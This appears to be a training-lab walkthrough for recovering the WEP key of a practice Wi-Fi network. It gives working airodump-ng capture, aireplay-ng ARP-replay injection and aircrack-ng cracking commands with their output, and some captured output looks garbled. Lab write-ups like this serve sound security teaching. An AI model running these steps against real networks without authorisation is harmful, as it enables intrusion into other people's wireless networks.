

# **Capture WEP Network's Password**

Obtain the password for the WEP-protected rootsh3ll-labs WiFi network.

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## Flag 1 - Enter the password of the target access point

The first and foremost thing you'd want to do in a WiFi penetration test is to validate access to a WiFi card on your pentest machine.

Check by running ifconfig and see if a WiFi interface (wlanX, where X is a number) is available. If you don't see wlan0, there's a possibility that the card is inactive. List all the interfaces and bring up the interface:

#### ifconfig -a # Lists all interfaces

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
    ether 02:42:ac:11:00:02 txqueuelen 0 (Ethernet)
    RX packets 231 bytes 25090 (24.5 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 192 bytes 332349 (324.5 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan0: flags=4098<BROADCAST,MULTICAST> mtu 1500
    ether 02:00:00:00:00:00 txqueuelen 1000 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

#### NOTE

Every WiFi card has <= 8 Supported interface modes. 2 are used mainly during WiFi pentesting, i.e., Managed and Monitor mode.

Managed mode is used when our WiFi card is associated with an Access Point. Since WiFi is a type of radio, managed mode keeps the card stable on the target AP's frequency for best results, whereas Monitor mode perform frequency (or channel) hopping to bring in information about as much WiFi devices available in the vicinity.

To list out all the Supported interface modes on your WiFi card, run the following command:

iw phy phy0 info | grep -i "supported interface modes:" -n -A 8 --color

### COMMAND BREAKDOWN:

iw phy phy0	iw is a wireless configuration viewer. phy0 is the indicator to the physical/hardware interface of wlan0. For wlan1, replace it with phy1.
grep	Command line text parser.
-i	Ignores case from the parseable input.
-n	Prints line number wrt original input beginning each matched output.
-A 8	Upon each match, prints the following 8 lines.
color	Enable coloured output for better readability.

Since the interface is available, bring it up and start WiFi sniffing on wlan0.

```
CH 2 ][ Elapsed: 20 s ][ 2021-08-16 07:16 ]
BSSID
                   PWR Beacons
                                   #Data, #/s CH
                                                   MB
                                                        ENC CIPHER AUTH ESSID
AE:CA:9B:C7:8F:79
                   -29
                                       0
                                            0
                                                1
                                                   54
                                                        WEP
                                                             WEP
                                                                          rootsh311-labs
BSSID
                   STATION
                                      PWR
                                            Rate
                                                    Lost
                                                            Frames Probe
```

You'd notice that a Wireless client may not appear immediately. The primary reason for that is our WiFi card's frequency hopping in monitor mode. airodump-ng channel-hop by default to bring in as much metadata on AP and Station (clients) as possible.

Since we have the BSSID (MAC Address), E-SSID (Extended SSID, or AP Name), and the Channel it operates on, we can now focus our wireless card on the target AP's channel to listen only to the traffic from our target frequency.

Start airodump-ng on channel 1 and write all the captured packets onto disk for decrypting the password.

```
airodump-ng -c 1 -w wep wlan0
CH 1 ][ Elapsed: 26 s ][ 2021-08-16 07:55
 BSSID
                    PWR RXQ
                                        #Data, #/s
                                                     CH MB
                                                              ENC
                                                                  CIPHER AUTH ESSID
                             Beacons
AE:CA:9B:C7:8F:79
                                                              WEP
                    -29
                                           48
                                                  2
                                                      1 54
                                                                   WFP
                                                                               rootsh311-labs
                          0
                                  71
 BSSID
                    STATION
                                        PWR
                                             Rate
                                                      Lost
                                                              Frames
                                                                      Probe
 AE:CA:9B:C7:8F:79
                    02:00:00:00:02:00
                                        -29
                                              0 -54
                                                                      rootsh311-labs
```

Note the #Data column; we can see that total data packets captured is not enough to start password decryption. Alongside #Data, look at the column #/s; it signifies total data packets received per second.

We need at least 5000 data packets to start decryption. Since WEP is also vulnerable to replay attacks, we can capture the transferred packets and replay them to AP over and over at a much higher speed.

WEP assigns a new signature (IVs) to each data packet is sends to its clients, which means we can capture the data packets at high speed and start decrypting the password without worrying about the total captured data packets.

An initialization vector (IV) is an input to a cryptographic primitive being used to provide the initial state in cryptography. The IV is typically required to be random or pseudorandom, but sometimes an IV only needs to be unpredictable or unique.

To do that, we need another utility from the aircrack-ng suite of tools; it's called aireplay-ng; it helps to perform wireless packet replaying/re-sending by manipulating management frame data like source MAC, destination MAC, etc.

Open two new Terminal tabs and start aireplay-ng with the target BSSID and client BSSID in one terminal and run aircrack-ng in another terminal, so it keeps cracking the password for every 5000 IVs captured by airodump-ng.



Start aireplay-ng ...

```
aireplay-ng --arpreplay -h 02:00:00:00:02:00 -b AE:CA:9B:C7:8F:79 wlan0

08:39:11 Waiting for beacon frame (BSSID: AE:CA:9B:C7:8F:79) on channel 1

Saving ARP requests in replay_arp-0816-083911.cap

You should also start airodump-ng to capture replies.

Read 8138 packets (got 4057 ARP requests and 0 ACKs), sent 4025 packets...(499 pps)
```

Wait for a few seconds for aireplay-ng to capture a valid WEP data packet and once it starts replaying to the AP, you'd notice an upsurge in the received ARP requests; this will replicate in the airodump-ng output inside the **#Data** column.

Once you have 5000+ #Data packets, consider running aircrack-ng to start decrypting the WEP password.

```
aircrack-ng wep-01.cap

Opening wep-01.cap please wait...

Read 191044 packets.

# BSSID ESSID Encryption
1 AE:CA:9B:C7:8F:79 rootsh3ll-labs WEP (0 IVs)

Choosing first network as target.

Opening wep-01.cap please wait...

Read 191629 packets.

1 potential targets

Attack will be restarted every 5000 captured ivs.

Starting PTW attack with 54832 ivs.

KEY FOUND! [ 00:00:00:00:00 ] (ASCII:
```

#### NOTE:

If you received enough packets, aircrack-ng would reward you with a cracked plaintext passphrase. If aircrack-ng stops execution and the program denies terminating with CTRL-C, try CTRL-Z to suspend the program and re-run the same aircrack-ng command.